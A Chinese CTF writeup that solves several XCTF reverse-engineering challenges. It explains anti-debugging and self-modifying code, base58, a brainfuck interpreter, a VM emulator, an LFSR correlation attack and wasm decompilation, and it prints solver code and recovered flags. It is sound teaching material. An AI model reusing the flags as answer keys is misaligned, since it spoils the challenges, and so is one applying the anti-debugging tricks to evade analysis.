xctf战役_部分re题目writeup

这次比赛做了四道简单的RE...难的师父做了嘻嘻,我好菜我好菜我好菜,Helica tql!

cycle graph

主要记录一份图路径搜索算法的代码hh

# 找到一条从start到end的路径
def findPath(graph,start,end,path=[]):   
    path = path + [start]
    if start == end:
        return path 
    for node in graph[start]:
        if node not in path:
            newpath = findPath(graph,node,end,path)
            if newpath:
                return newpath
    return None
 
# 找到所有从start到end的路径
def findAllPath(graph,start,end,path=[]):
    path = path +[start]
    if start == end:
        return [path]
 
    paths = [] #存储所有路径    
    for node in graph[start]:
        if node not in path:
            newpaths = findAllPath(graph,node,end,path) 
            for newpath in newpaths:
                paths.append(newpath)
    return paths
 
# 查找最短路径
def findShortestPath(graph,start,end,path=[]):
    path = path +[start]
    if start == end:
        return path
    
    shortestPath = []
    for node in graph[start]:
        if node not in path:
            newpath = findShortestPath(graph,node,end,path)
            if newpath:
                if not shortestPath or len(newpath)<len(shortestPath):
                    shortestPath = newpath
    return shortestPath
 
    '''
主程序
'''
graph = {'A': ['B', 'C','D'],
         'B': [ 'E'],
         'C': ['D','F'],
         'D': ['B','E','G'],
         'E': [],
         'F': ['D','G'],
         'G': ['E']}
 
onepath = findPath(graph,'A','G')
print('一条路径:',onepath)
 
allpath = findAllPath(graph,'A','G')
print('\n所有路径:',allpath)
 
shortpath = findShortestPath(graph,'A','G')
print('\n最短路径:',shortpath)

天津垓

两个考点,第一个是反调试,第二个是smc
反调试中一个是枚举窗口检测ida od等等,还有一个是判断STARTUPINFO信息
题目有两个验证部分,第一个验证是代码中直接可见的,我用z3求解解出来了,第二个是需要经过smc后才可见的,我做题的时候并没有发现smc,用的持续单步然后dump出解密后的代码的方式。 不过这个smc函数并不在基本的流程里面,主要是使用了cygwin这个动态库,然后调用的,我查了一下cygwin这个动态库,主要是用来在windows平台上实现linux平台函数使用的,我后来调试的时候也是发现先进入cygwin.dll然后就到了smc函数的地方,我没太懂这个具体的原理==下面是smc的部分

// sub_100401506(sub_10040164D, 0x415, Str);
// 函数调用如上,主要用来修改sub_10040164D这个函数,修改的长度是0x415,Str是第一部分的输入
BOOL __fastcall sub_100401506(void *a1, int a2, __int64 a3)
{
  BOOL result; // eax
  DWORD flOldProtect; // [rsp+28h] [rbp-8h]
  int i; // [rsp+2Ch] [rbp-4h]
  LPVOID lpAddress; // [rsp+40h] [rbp+10h]
  int v7; // [rsp+48h] [rbp+18h]
  __int64 v8; // [rsp+50h] [rbp+20h]

  lpAddress = a1;
  v7 = a2;
  v8 = a3;
  if ( strlen(Str) != 18 )
    exit(1);
  if ( !VirtualProtect(lpAddress, v7, 0x40u, &flOldProtect) )  //将代码段的内存属性修改为可读写和执行
    exit(1);
  for ( i = 0; i < v7; ++i )
    *(lpAddress + i) ^= *(i % 18 + v8);
  result = VirtualProtect(lpAddress, v7, flOldProtect, &flOldProtect);  //修改后还原原来的内存属性
  if ( !result )
    exit(1);
  return result;
}

在 Windows 程序中使用了VirtualProtect()函数来改变虚拟内存区域的属性。函数声明如下:

#include <Memoryapi.h>

BOOL VirtualProtect(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flNewProtect,
  PDWORD lpflOldProtect
);

VirtualProtect()函数有4个参数,lpAddress是要改变属性的内存起始地址,dwSize是要改变属性的内存区域大小,flAllocationType是内存新的属性类型,lpflOldProtect内存原始属性类型保存地址。而flAllocationType部分值如下表。在 SMC 中常用的是 0x40。

这里smc就是一个简单的与第一部分的输入进行一个异或,使用idc脚本可以得到修改后的代码
第二部分我还是用z3求解,但是因为乘数是素数也可以直接求逆元

fxck!

这道题出的还挺那啥的,出题人一手替换文件把我坑惨了...题目最开始的验证部分写的有问题,但是我也有自己的问题,第一个就是不会base58(u1s1就算不知道base58我就连16进制转58进制都没看出来...活该我菜)第二个就是不会brainfuck,我以为是个虚拟机分析了好久,虽然分析出来加密的过程了但是用时太长了...记录一下这两个

加密部分

加密部分就是个base58,典型特征就是转58(0x3a)进制,还有查表操作,反编译的代码如下

for ( i = 0; i < v10; ++i ) //进制转换
  {
    v14 = *(char *)(i + v11);
    for ( j = 0; j < v12; ++j )
    {
      v14 += *((unsigned __int8 *)v20 + j) << 8;
      *((_BYTE *)v20 + j) = v14 % 0x3A;
      v14 /= 0x3Au;
    }
    while ( v14 )
    {
      v4 = v12++;
      *((_BYTE *)v20 + v4) = v14 % 0x3A;
      v14 /= 0x3Au;
    }
  }
  v5 = std::operator<<<std::char_traits<char>>(&std::cout, "WAIT WAIT WAIT!");
  std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
  v16 = 0;
  while ( v16 < v10 && !*(_BYTE *)(v16 + v11) )
  {
    v6 = v16++;
    *(_BYTE *)(v6 + v9) = 49;
  }
  for ( k = 0; k <= 57; ++k )
    byte_602500[k] ^= byte_602490[k % 7] ^ (unsigned __int8)k;
  for ( l = 0; l < v12; ++l ) //查表操作
    *(_BYTE *)(v16 + l + v9) = byte_602500[*((unsigned __int8 *)v20 + v12 - 1 - l)];

验证部分

验证部分是一个brainfuck语言的解释器,这种语言基于一个简单的机器模型,除了指令,这个机器还包括:一个以字节为单位、被初始化为零的数组、一个指向该数组的指针(初始时指向数组的第一个字节)、以及用于输入输出的两个字节流。关于这个语言的介绍:
Brainfuck
Brainfuck在线解析器
这个语言一共只包含如下8个状态

典型特征是代码中包含指针的加减以及指针指向值的加减

  while ( v5 < i )
  {
    v2 = (unsigned __int8)byte_6020A0[v5];
    if ( v2 == 0xC4 )
    {
      ++*v9; //+
    }
    else if ( v2 > 196 )
    {
      switch ( v2 )
      {
        case 0xDD: //[
          if ( !*v9 )
            v5 = dword_603B20[v5];
          break;
        case 0xFD: //]
          v5 = dword_603B20[v5] - 1;
          break;
        case 0xC5:
          --*v9;  //-
          break;
      }
    }
    else
    {
      switch ( v2 )
      {
        case 0xA8:
          ++v9; //>
          break;
        case 0xA9:
          --v9; //<
          break;
        case 1: //.
          v3 = v7++;
          s1[v3] = *v9;
          break;
      }
    }
    ++v5;
  }

提取byte_6020A0中的指令,使用下面的解释器可以对brainfuck反编译

import re

def sym2cal(s):
    if '>' in s:
        return len(s)
    else:
        return -len(s)

def cal(s):
    if '+' in s:
        return '+= %d'%len(s)
    else:
        return '-= %d'%len(s)

def bf2asm(s,ptr,tab):
    p = 0
    l = len(s)
    while(p<l):
        pattern = re.compile(r'([><]*)\[-([><]*)\[-\]([><]+)\[-\]([><]+)\[-([><]+)\+([><]+)\+([><]+)\]([><]+)\[-([><]+)\+([><]+)\]([><]*)\[-([><]+)\+([><]+)\]([><]*)\]')
        match = pattern.match(s[p:])
        if match:        
            p += len(match.group())

            groups = match.groups()
            ptr1 = ptr + sym2cal(groups[0])
            ptr2 = ptr1
            for i in xrange(1,4):
                ptr2 += sym2cal(groups[i])
            ptr3 = ptr2
            for i in xrange(4,12):
                ptr3 += sym2cal(groups[i])
            print tab+'mem[%d] += mem[%d]*mem[%d]'%(ptr3,ptr2,ptr1)

            for v in groups:
                ptr += sym2cal(v)
            continue
        
        pattern = re.compile(r'([><]*)\[-\]([><]+)\[-\]([><]+)\[-([><]+)\+([><]+)\+([><]+)\]([><]+)\[-([><]+)\+([><]+)\]([><]*)\[-([><]+)\+([><]+)\]')
        match = pattern.match(s[p:])
        if match:
            p += len(match.group())

            groups = match.groups()
            ptr1 = ptr
            for i in xrange(3):
                ptr1 += sym2cal(groups[i])
            ptr2 = ptr1
            for i in xrange(3,11):
                ptr2 += sym2cal(groups[i])
            print tab+'mem[%d] += mem[%d]'%(ptr2,ptr1)

            for v in groups:
                ptr += sym2cal(v)
            continue

        pattern = re.compile(r'([><]*)\[-\]([><]+)\[-\]([><]+)\[-([><]+)\+([><]+)\+([><]+)\]([><]+)\[-([><]+)\+([><]+)\]([><]+)')
        match = pattern.match(s[p:])
        if match:
            p += len(match.group())

            groups = match.groups()
            ptr1 = ptr + sym2cal(groups[0])
            ptr2 = ptr1 + sym2cal(groups[1])
            ptr3 = ptr2 + sym2cal(groups[2])
            print tab+'mem[%d] = mem[%d]'%(ptr1,ptr3)

            for v in groups:
                ptr += sym2cal(v)
            continue
            
        pattern = re.compile(r'\[-\]')
        match = pattern.match(s[p:])
        if match:
            p += len(match.group())
            print tab+'mem[%d] = 0'%(ptr)
            continue

        pattern = re.compile(r'>+')
        match = pattern.match(s[p:])
        if match:
            p += len(match.group())
            ptr += len(match.group())
            continue

        pattern = re.compile(r'<+')
        match = pattern.match(s[p:])
        if match:
            p += len(match.group())
            ptr -= len(match.group())
            continue

        pattern = re.compile(r'\++')
        match = pattern.match(s[p:])
        if match:
            p += len(match.group())
            print tab+'mem[%d] %s'%(ptr,cal(match.group()))
            continue

        pattern = re.compile(r'-+')
        match = pattern.match(s[p:])
        if match:
            p += len(match.group())
            print tab+'mem[%d] %s'%(ptr,cal(match.group()))
            continue

        c = s[p]
        if c == '[':
            stk = 1
            for i,v in enumerate(s[p+1:]):
                if v == '[':
                    stk += 1
                elif v == ']':
                    stk -= 1
                else:
                    continue
                if stk == 0:
                    print tab+'while mem[%d]:'%ptr
                    ptr = bf2asm(s[p+1:p+1+i],ptr,tab+'\t')
                    p += i+1
                    break
            continue

        elif c == ',':
            if input_ptr < 96:
                print tab+'mov mem[%d] input[input_ptr]'%ptr
            else:
                if bit_add >= 3600:
                    print tab+'mov mem[%d] 0x30'%ptr
                else:
                    print tab+'mov mem[%d] 1'%ptr
        elif c == '.':
            print tab+'cmp mem[%d] data[data_ptr]'%ptr
        p += 1
    return ptr

s = ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[-]<<<<<<<<<<<<<<<<<<<<<<<[-]>>>>>>>>>>>>>>>>>>>>>>[->+<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>,>>>>>>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<[-]>>>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>]"
input_ptr = 0
bit_add = 0
bf2asm(s,0,'')

easyparser

这道题是做出来让我最高兴的一道题(xiaoku.jpg)主要是查了一下发现用了Rust,Rust代码里面会多了很多安全检查的部分来扰乱一下视线(比如说做加法之前会检查加法会不会溢出),去掉这些安全检查的部分之后倒是挺容易看出来解释器的逻辑,之后就是体力活了==
wp里面有句话记录一下,或许以后出题用得着呢嘻嘻

一个vm逆向题目,在.init_array中初始化了一部分数据,在.fin_array中进行flag的检查,由于Rust编程
规范不允许在main前和main后编写逻辑,所以先用Rust写了一个so库,用c语言进行一次包裹

逆出来以后可以看出来流程,第一层用来检查输入长度等于38,第二层将输入的中间部分,左移2后与99异或等于特定值.下面是反编译的代码

data = [0, 0, 18, 1, 1, 18, 2, 2, 18, 3, 3, 18, 6, 6, 18, 7, 7, 18, 0, 105, 1, 1, 110, 1, 2, 112, 1, 3, 117, 1, 6, 116, 1, 7, 32, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24, 7, 0, 24, 0, 102, 1, 1, 108, 1, 2, 97, 1, 3, 103, 1, 6, 58, 1, 7, 32, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24, 7, 0, 24, 1, 1, 18, 0, 0, 23, 0, 0, 5, 1, 1, 7, 1, 38, 26, 31, 0, 30, 0, 0, 25, 0, 0, 6, 0, 125, 26, 18, 0, 28, 0, 98, 1, 1, 121, 1, 2, 101, 1, 3, 126, 1, 6, 126, 1, 7, 126, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24, 7, 0, 24, 0, 10, 1, 0, 0, 24, 0, 0, 25, 8, 256, 1, 8, 225, 26, 25, 0, 30, 0, 0, 6, 8, 0, 4, 8, 1, 9, 19, 0, 29, 0, 0, 6, 0, 123, 26, 3, 0, 31, 0, 0, 6, 0, 103, 26, 3, 0, 31, 0, 0, 6, 0, 97, 26, 3, 0, 31, 0, 0, 6, 0, 108, 26, 3, 0, 31, 0, 0, 6, 0, 102, 26, 3, 0, 31, 9, 9, 18, 10, 225, 1, 7, 9, 3, 6, 10, 3, 6, 99, 17, 6, 2, 13, 6, 7, 27, 3, 0, 31, 9, 1, 7, 10, 1, 7, 9, 32, 26, 42, 0, 30, 0, 99, 1, 1, 111, 1, 2, 114, 1, 3, 114, 1, 6, 101, 1, 7, 99, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24]
qword_6C09B8 = [144, 332, 28, 240, 132, 60, 24, 64, 64, 240, 208, 88, 44, 8, 52, 240, 276, 240, 128, 44, 40, 52, 8, 240, 144, 68, 48, 80, 92, 44, 264, 240] + [0]*1248
qword_6BF1B8 = [0] * 768
EIP = 0x1f
qword_6BF130 = [0x66, 0, 0x61, 0x67] + [0]*100
qword_6BF150 = 0x100
flag = "flag{G0ertyuiopasdfghjklzxcvbnmoooouu}"
index = 0
while True:
    opcode = data[EIP * 3 + 2]
    arg1 = data[EIP * 3]
    arg2 = data[EIP * 3 + 1]
    EIP = EIP + 1
    if opcode == 25:
        print "exit",25
        # print qword_6BF1B8
        if index == 38:
            data = [0, 0, 6, 0, 125, 26, 18, 0, 28, 0, 98, 1, 1, 121, 1, 2, 101, 1, 3, 126, 1, 6, 126, 1, 7, 126, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24, 7, 0, 24, 0, 10, 1, 0, 0, 24, 0, 0, 25, 8, 256, 1, 8, 225, 26, 25, 0, 30, 0, 0, 6, 8, 0, 4, 8, 1, 9, 19, 0, 29, 0, 0, 6, 0, 123, 26, 3, 0, 31, 0, 0, 6, 0, 103, 26, 3, 0, 31, 0, 0, 6, 0, 97, 26, 3, 0, 31, 0, 0, 6, 0, 108, 26, 3, 0, 31, 0, 0, 6, 0, 102, 26, 3, 0, 31, 9, 9, 18, 10, 225, 1, 7, 9, 3, 6, 10, 3, 6, 99, 17, 6, 2, 13, 6, 7, 27, 3, 0, 31, 9, 1, 7, 10, 1, 7, 9, 32, 26, 42, 0, 30, 0, 99, 1, 1, 111, 1, 2, 114, 1, 3, 114, 1, 6, 101, 1, 7, 99, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24, 7, 0, 24, 0, 116, 1, 1, 108, 1, 2, 121, 1, 3, 33, 1, 6, 10, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24, 0, 0, 25]
            EIP = 0
            index = 0
        else:
            break
    elif opcode == 0:
        v31 = qword_6BF130[arg1]
        qword_6C09B8[v31] = arg2
        print "v31 = qword_6BF130[",arg1,"]"
        print "qword_6C09B8[",v31,"] = ",arg2
    elif opcode == 1:        
        print "qword_6BF130[",arg1,"] = ",arg2
        qword_6BF130[arg1] = arg2
    elif opcode == 2:
        qword_6BF130[arg1] = qword_6BF130[arg2]
        print "qword_6BF130[",arg1,"] = qword_6BF130[",arg2,"];"
    elif opcode == 3:
        v29 = qword_6BF130[arg2]
        qword_6BF130[arg1] = qword_6C09B8[v29]
        print "v29 = qword_6BF130[",arg2,"]"
        print "qword_6BF130[",arg1,"] = qword_6C09B8[",v29,"]"
    elif opcode == 4:
        v30 = qword_6BF130[arg1]
        qword_6C09B8[v30] = qword_6BF130[arg2]
        print "v30 = qword_6BF130[",arg1,"]"
        print "qword_6C09B8[",v30,"] = qword_6BF130[",arg2,"]"
    elif opcode == 5:
        qword_6BF150 += 1
        qword_6BF1B8[qword_6BF150] = qword_6BF130[arg1]
        print "qword_6BF150 = qword_6BF150 + 1"
        print "qword_6BF1B8[",qword_6BF150,"] = qword_6BF130[",arg1,"]"
    elif opcode == 6:
        qword_6BF130[arg1] = qword_6BF1B8[qword_6BF150]
        qword_6BF150 = qword_6BF150 - 1
        print "qword_6BF130[",arg1,"] = qword_6BF1B8[",qword_6BF150,"]"
        print "qword_6BF150 = qword_6BF150 - 1"
    elif opcode == 7:
        qword_6BF130[arg1] += arg2
        print "qword_6BF130[",arg1,"] += ",arg2
    elif opcode == 8:
        v28 = qword_6BF130[arg2]
        qword_6BF130[arg1] += v28
        print "v28 = qword_6BF130[",arg2,"]"
        print "qword_6BF130[",arg1,"] += ",v28
    elif opcode == 9:
        v3 = qword_6BF130[arg1]
        qword_6BF130[arg1] = v3 - arg2
        print "v3 = qword_6BF130[",arg1,"]"
        print "qword_6BF130[",arg1,"] = ",v3,"-", arg2
    elif opcode == 10:
        v27 = qword_6BF130[arg2]
        v4 = qword_6BF130[arg1]
        qword_6BF130[arg1] = v4 - v27
        print "v27 = qword_6BF130[",arg2,"]"
        print "v4 = qword_6BF130[",arg1,"]"
        print "qword_6BF130[",arg1,"] = ",v4 ,"-",v27
    elif opcode == 11:
        qword_6BF130[arg1] *= arg2
        print "qword_6BF130[",arg1,"] *= ",arg2
    elif opcode == 12:
        v26 = qword_6BF130[arg2]
        qword_6BF130[arg1] *= v26
        print "v26 = qword_6BF130[",arg2,"]"
        print "qword_6BF130[",arg1,"] *= ",v26
    elif opcode == 13:
        qword_6BF130[arg1] <<= arg2 & 0x3F
        print "qword_6BF130[",arg1,"] <<= ",arg2,"& 0x3F"
    elif opcode == 14:
        v25 = qword_6BF130[arg2]
        qword_6BF130[arg1] <<= v25 & 0x3F
        print "v25 = qword_6BF130[",arg2,"]"
        print "qword_6BF130[",arg1,"] <<= ",v25 ,"& 0x3F"
    elif opcode == 15:
        qword_6BF130[arg1] >>= arg2 & 0x3F
        print "qword_6BF130[",arg1,"] >>= ",arg2 ,"& 0x3F"
    elif opcode == 16:
        v24 = qword_6BF130[arg2]
        qword_6BF130[arg1] >>= v24 & 0x3F
        print "v24 = qword_6BF130[",arg2,"]"
        print "qword_6BF130[",arg1,"] >>= ",v24 ,"& 0x3F"
    elif opcode == 17:
        qword_6BF130[arg1] ^= arg2
        print "qword_6BF130[",arg1,"] ^= ",arg2
    elif opcode == 18:
        qword_6BF130[arg1] ^= qword_6BF130[arg2]
        print "qword_6BF130[",arg1,"] ^= qword_6BF130[",arg2,"]"
    elif opcode == 19:
        qword_6BF130[arg1] |= arg2
        print "qword_6BF130[",arg1,"] |= ",arg2
    elif opcode == 20:
        qword_6BF130[arg1] |= qword_6BF130[arg2]
        print "qword_6BF130[",arg1,"] |= qword_6BF130[",arg2,"]"
    elif opcode == 21:
        qword_6BF130[arg1] &= arg2
        print "qword_6BF130[",arg1,"] &= ",arg2
    elif opcode == 22:
        qword_6BF130[arg1] &= qword_6BF130[arg2]
        print "qword_6BF130[",arg1,"] &= qword_6BF130[",arg2,"]"
    elif opcode == 23:
        qword_6BF130[arg1] = ord(flag[index])
        index = index + 1
        print "qword_6BF130[",arg1,"] =", flag[index - 1]
        # if flag == 32:
        #     print "get another one"
        #     break
        # flag = True
    elif opcode == 24:
        v13 = qword_6BF130[arg1]
        print "v13 = qword_6BF130[",arg1,"]"
    elif opcode == 26:
        byte_6BF1B0 = qword_6BF130[arg1] == arg2
        byte_6BF1B1 = qword_6BF130[arg1] < arg2
        print "byte_6BF1B0 = qword_6BF130[",arg1,"] == ",arg2
        print "byte_6BF1B1 = qword_6BF130[",arg1,"] < ",arg2
    elif opcode == 27:
        byte_6BF1B0 = qword_6BF130[arg1] == qword_6BF130[arg2]
        byte_6BF1B1 = qword_6BF130[arg1] < qword_6BF130[arg2]
        print "byte_6BF1B0 = qword_6BF130[",arg1,"] == qword_6BF130[",arg2,"]"
        print "byte_6BF1B1 = qword_6BF130[",arg1,"] < qword_6BF130[",arg2,"]"
        print "==>",qword_6BF130[arg1], qword_6BF130[arg2]
    elif opcode == 28:
        if byte_6BF1B0 == 1:
            EIP = arg1
        print "if byte_6BF1B0 == 1: EIP = ",arg1
    elif opcode == 29:
        EIP = arg1
        print " EIP = ",arg1
    elif opcode == 30:
        if byte_6BF1B1 == 1:
            EIP = arg1
        print "if ( byte_6BF1B1 == 1 )EIP = ",arg1
    elif opcode == 31:
        if not byte_6BF1B0:
            EIP = arg1
        print "if ( !byte_6BF1B0 )EIP = ",arg1
    else:
        print "Unkown opcode",opcode
        break

clock

从这里开始都是我不会的题==
这个题的加密流程很容易能看出来,但是我不会解...后来师父来了很快就做出来了略(Helica好厉害好厉害我好菜我好菜),wp中说是穷举钟控的寄存器初态,对另外两个寄存器快速相关攻击。
程序实现了一个时钟控制的非线性移位寄存器,由一个lfsr控制另外两个lfsr的输出。

x = n1 ? n3 : n2

用相关性攻击,先分析输出与三个lfsr的关系,可知输出与n2和n3相同的概率是0.75,和n1相同的概率是0.5。先分别爆破猜出n2和n3,之后再爆破推出n1。

def lfsr_1(R, mask):
    output = (R << 1) & 0x1fffff
    i = (R & mask) & 0x1fffff
    lastbit = 0
    while i != 0:
        lastbit ^= (i & 1)
        i = i >> 1
    output ^= lastbit
    return (output, lastbit)

def lfsr_2(R, mask):
    output = (R << 1) & 0x3fffff
    i = (R & mask) & 0x3fffff
    lastbit = 0
    while i != 0:
        lastbit ^= (i & 1)
        i = i >> 1
    output ^= lastbit
    return (output, lastbit)

def lfsr_3(R, mask):
    output = (R << 1) & 0x7fffff
    i = (R & mask) & 0x7fffff
    lastbit = 0
    while i != 0:
        lastbit ^= (i & 1)
        i = i >> 1
    output ^= lastbit
    return (output, lastbit)

def single_round(R1, R1_mask, R2, R2_mask, R3, R3_mask):
    (R1_NEW, x1) = lfsr_1(R1, R1_mask)
    (R2_NEW, x2) = lfsr_2(R2, R2_mask)
    (R3_NEW, x3) = lfsr_3(R3, R3_mask)

    return (R1_NEW, R2_NEW, R3_NEW, x3 if x1 == 1 else x2)


R1_mask = 0x17FA06
R2_mask = 0x2A9A0D
R3_mask = 0x5E5E6A
n3 = 23
n2 = 22
n1 = 21

def guess_2(beg, end, num, mask):
    ansn = range(beg, end)
    data = open('./output').read(num)
    data = ''.join(bin(256 + ord(c))[3:] for c in data)
    now = 0
    res = 0
    for i in ansn:
        r = i
        cnt = 0
        for j in range(num * 8):
            r, lastbit = lfsr_2(r, mask)
            lastbit = str(lastbit)
            cnt += (lastbit == data[j])
        if cnt > now:
            now = cnt
            res = i
            print now, res,
            print 'cor rate: %f' % (cnt*1.0 / (num*8))
    return res

def guess_3(beg, end, num, mask):
    ansn = range(beg, end)
    data = open('./output').read(num)
    data = ''.join(bin(256 + ord(c))[3:] for c in data)
    now = 0
    res = 0
    for i in ansn:
        r = i
        cnt = 0
        for j in range(num * 8):
            r, lastbit = lfsr_3(r, mask)
            lastbit = str(lastbit)
            cnt += (lastbit == data[j])
        if cnt > now:
            now = cnt
            res = i
            print now, res, 
            print 'cor rate: %f' % (cnt*1.0 / (num*8))
    return res


def bruteforce1(y, z):
    data = open('./output').read(50)
    data = ''.join(bin(256 + ord(c))[3:] for c in data)
    for x in range(pow(2, n1 - 1), pow(2, n1)):
        R1, R2, R3 = x, y, z
        flag = True
        for i in range(len(data)):
            (R1, R2, R3,
             out) = single_round(R1, R1_mask, R2, R2_mask, R3, R3_mask)
            if str(out) != data[i]:
                flag = False
                break
        if y % 10000 == 0:
            print 'now: ', x, y, z
        if flag:
            print 'ans: ', hex(x)[2:], hex(y)[2:], hex(z)[2:]
            break


#R2 = guess_2(pow(2, n2 - 1), pow(2, n2), 50, R2_mask)
R2 = 3324079
print R2
#R3 = guess_3(pow(2, n3 - 1), pow(2, n3), 50, R3_mask)
R3 = 4958299
print R3

bruteforce1(R2, R3)

X1cT34m给了一个c版本的,应该要快很多,记录一下

#include <stdio.h>
#include <stdint.h>

void lfsr(
    int init, int mask1, int mask2, uint8_t* seq, int len
) {
    for(int j = 0; j < len; j++) {
        uint8_t byte = 0;
        uint8_t bit = 8;
        do {
            uint8_t output = 0;
            int x = init & mask1;
            while (x) {
                output ^= x & 1;
                x >>= 1;
            }
            init = (output ^ (init << 1)) & mask2;
            byte = (byte << 1) ^ output;
            bit--;
        } while (bit);
        seq[j] = byte;
    }
}

double correlation(
    uint8_t* A, uint8_t* B, int len
) {
    int N = len * 8;
    int d = 0;
    for(int i = 0; i < len; i++) {
        uint8_t bit = 8;
        uint8_t a = A[i];
        uint8_t b = B[i];
        do {
            if ((a & 1) == (b & 1))
                d++;
            a >>= 1;
            b >>= 1;
            bit--;
        } while (bit);
    }
    return (double)d / N;
}

uint8_t mixed_output[] = {
    95, 83, 107, 255, 209, 96, 188, 166, 230, 219, 223, 72, 150, 155, 169,
    138, 126, 0, 91, 20, 19, 109, 82, 12, 249, 91, 39, 107, 104, 55, 207,
    65, 155, 197, 204, 81, 76, 22, 83, 208, 215, 13, 254, 14, 43, 87, 29,
    42, 161, 92, 2, 109, 110, 232, 201, 147, 19, 53, 216, 82, 144, 169,
    34, 193, 106, 0, 253, 224, 7, 46, 24, 16, 226, 127, 164, 162, 54, 98,
    144, 141, 182, 174, 252, 64, 130, 19, 163, 242, 176, 78, 79, 3, 19, 11,
    160, 121, 149, 44, 53, 17,
}; // 100

void guess2(
) {
    int len = 100;
    uint8_t seq[100] = {};

    int possible_r2 = 0;
    double max_p = 0.0;

    int r2;
    for (r2 = 0; r2 < (1<<22); r2++) {
        lfsr(r2, 0x2A9A0D, 0x3FFFFF, seq, 100);

        double corr = correlation(seq, mixed_output, len);
        if (corr > max_p) {
            possible_r2 = r2;
            max_p = corr;
        }
    }
    printf("%d %f", possible_r2, max_p); // 3324079
}

void guess3(
) {
    int len = 100;
    uint8_t seq[100] = {};

    int possible_r3 = 0;
    double max_p = 0.0;

    int r3;
    for (r3 = 0; r3 < (1<<23); r3++) {
        lfsr(r3, 0x5E5E6A, 0x7FFFFF, seq, 100);

        double corr = correlation(seq, mixed_output, len);
        if (corr > max_p) {
            possible_r3 = r3;
            max_p = corr;
        }
    }
    printf("%d %f", possible_r3, max_p); // 4958299
}

void brute_force(
) {
    uint8_t seq_r1[100] = {};
    uint8_t seq_r2[100] = {};
    uint8_t seq_r3[100] = {};

    int r2 = 3324079;
    int r3 = 4958299;

    lfsr(r2, 0x2A9A0D, 0x3FFFFF, seq_r2, 100);
    lfsr(r3, 0x5E5E6A, 0x7FFFFF, seq_r3, 100);

    for(int r1 = 1427994; r1 < (1<<21); r1++) {
        lfsr(r1, 0x17FA06, 0x1FFFFF, seq_r1, 100);

        for (int i = 0; i < 100; i++) {
            int byte = 0;

            for(int bit = 7; bit >= 0; bit--) {
                int x1 = (seq_r1[i]>>bit) & 1;
                int x2 = (seq_r2[i]>>bit) & 1;
                int x3 = (seq_r3[i]>>bit) & 1;
                byte = (byte<<1) ^ ((x1*x3)^((x1^1)*x2));
            }

            if (byte != mixed_output[i]) break;
            if (i == 99) printf("%d", r1);  // 1427994
        }
    }
}

int main(
) {
    // guess2();
    // guess3();
    // brute_force();

    int r1 = 1427994;
    int r2 = 3324079;
    int r3 = 4958299;
    printf("flag{%x%x%x}", r1, r2, r3); // flag{15ca1a32b8af4ba85b}
}

关于LFSR的一些资料
线性反馈移位寄存器与梅森旋转算法
深入分析CTF中的LFSR类题目(一)
深入分析CTF中的LFSR类题目(二)

baby_wasi

趁着这道题好好学习了一下wasm,感觉收获还挺多的(Helica tql tql tql)

反编译wasm

这道题用了wasmer-c-api来构建,主程序为baby_wasi,program.wasm为子程序,主要处理字符串变换逻辑.首先对program.wasm逆向分析.基础教程:
一种Wasm逆向静态分析方法
反汇编的话,可以用wasm2wat把wasm反汇编成wat,https://developer.mozilla.org/zh-CN/docs/WebAssembly/Understanding_the_text_format 这里面对wat进行了一些解释
还可以把wasm转成c语言的格式,用wasm2c

$ ./wasm2c wasm.wasm -o wasm.c
==> 得到wasm.c和wasm.h

但是因为生成的c语言很长而且基本跟看wat没什么区别,所以需要再编译成二进制文件放到ida里面去看
将之前反编译出来的wasm.c,wasm.h,以及wabt项目内的wasm-rt.h,wasm-rt-impl.c,wasm-rt-impl.h三个文件放到同一个文件夹。
直接gcc wasm.c会报错,因为很多wasm的函数没有具体的实现。但是我们可以只编译不链接,我们关心的只是程序本身的逻辑,不需要真正编译出能运行的elf来。

$ gcc -c wasm.c -o wasm.o

得到的还未连接的elf文件wasm.o, 将wasm.o放到ida里面分析会比较清楚一些。

查找main函数

从反编译的代码里面可以看到有_start函数,然后需要从这一堆函数里面找到关键函数...对于wasm,所有的字符串会被存放在二进制文件的末尾,而且wasm并不是直接对地址的引用,想找到这些字符串会比较困难。Nu1L的wp里面说识别出来malloc,free,exit这些函数然后才推测出来main函数的位置,我在谷歌上找到了一份保留函数名称的代码,可以对照着识别出来main函数,函数如下:

static void _start(void) {
  u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0;
  FUNC_PROLOGUE;
  u32 i0, i1, i2;
  i0 = g0;
  i1 = 16u;
  i0 -= i1;
  l0 = i0;
  g0 = i0;
  __wasilibc_init_preopen();
  i0 = 3u;
  l1 = i0;
  L1: 
    i0 = l1;
    i1 = l0;
    i0 = (*Z_wasi_unstableZ_fd_prestat_getZ_iii)(i0, i1);
    l2 = i0;
    i1 = 8u;
    i0 = i0 > i1;
    if (i0) {goto B0;}
    i0 = l2;
    switch (i0) {
      case 0: goto B3;
      case 1: goto B0;
      case 2: goto B0;
      case 3: goto B0;
      case 4: goto B0;
      case 5: goto B0;
      case 6: goto B0;
      case 7: goto B0;
      case 8: goto B2;
      default: goto B3;
    }
    B3:;
    i0 = l0;
    i0 = i32_load8_u((&memory), (u64)(i0));
    if (i0) {goto B4;}
    i0 = l0;
    i0 = i32_load((&memory), (u64)(i0 + 4));
    i1 = 1u;
    i0 += i1;
